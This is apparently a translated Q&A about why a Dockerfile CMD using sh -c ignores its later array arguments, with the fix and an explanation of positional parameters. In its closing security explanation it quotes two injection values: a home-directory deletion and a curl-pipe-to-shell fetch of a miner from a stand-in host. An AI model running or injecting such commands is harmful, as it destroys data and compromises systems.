我已经创建了一个Dockerfile,我将在kubernetes中进行测试。这是一个ubuntu映像,我需要它
- Do a wget
- 让一个进程运行,这样容器就不会在wget 之后关闭。
我可以使用nginx图像来遵守第2步。但我没有,相反,在CMD子句中,我只是把sleep 1000000
通常为我工作,所以容器不会停止。我为什么没有做一些适当的事情来保持进程的运行,现在已经不重要了。重要的是下面这个问题。
FROM ubuntu:latest
RUN apt-get update
&& apt-get install -y iputils-ping
&& apt-get install -y wget
CMD ["sh","-c","wget https://httpbin.org/get","&&","sleep 1000000000000"]
在我构建它之后,由于某种原因,它在我点击docker run -d <image_name>
后几乎立即关闭。但是通过查看日志docker logs -t <container_name>
,我可以看到wget命令工作正常。
我的问题是,为什么Dockefile的CMD的"&&","sleep 1000000000000"
部分在wget完成后没有出现?我知道它没有出现,因为容器正确运行wget,然后以状态0存在,即使sleep
应该让它运行几天。
我为什么要在虚拟服务器上运行wget的原因现在已经不重要了,当我在k8s上测试时,我将把它替换为一个实际的服务,看看它是否可达。所以这并不重要,问题是为什么sleep
没有在wget
解决问题正确的写法是:
CMD ["sh", "-c", "wget https://httpbin.org/get && sleep 1000000000000"]
…或者它的精确等价物
CMD wget https://httpbin.org/get && sleep 1000000000000
解释问题
sh -c
只接受一个参数解析为代码。
后面的参数在运行该代码的上下文中变为$0
。
后面的参数变成$1
。
后面的参数变成了$2
…等。
但是因为shell脚本wget https://httpbin.org/get
不查看$0
或$1
,所以您的所有后续参数都将被完全忽略。
这种行为有什么好处?
如果你想使用这些额外的参数,你可以这样做:
CMD ["sh", "-c", "wget "$1" && sleep "$2"", "sh", "https://httpbin.org/get", "1000000000000"]
…其中$0
变为sh
(用于错误消息);$1
变为https://httpbin.org/get
,$2
变为所需的睡眠时间。
这样做的主要优点是,只有-c
后面的参数才会被shell解析为代码,因此只有该参数的内容才能用于shell注入攻击(假设后面的代码没有做一些愚蠢的事情,比如eval
处理该数据)。您可以将完全不受信任的内容放入后面的参数中,并且您可能需要担心wget
或sleep
如何解析或处理该内容,但您不需要担心shell本身如何处理它;因此,如果您正在传递来自可能试图潜入$(rm -rf ~)
或$(curl https://evil.co/bitcoin-miner | sh -)
的人的URL,那么将该内容作为参数传递而不是与您的代码一起传递更安全。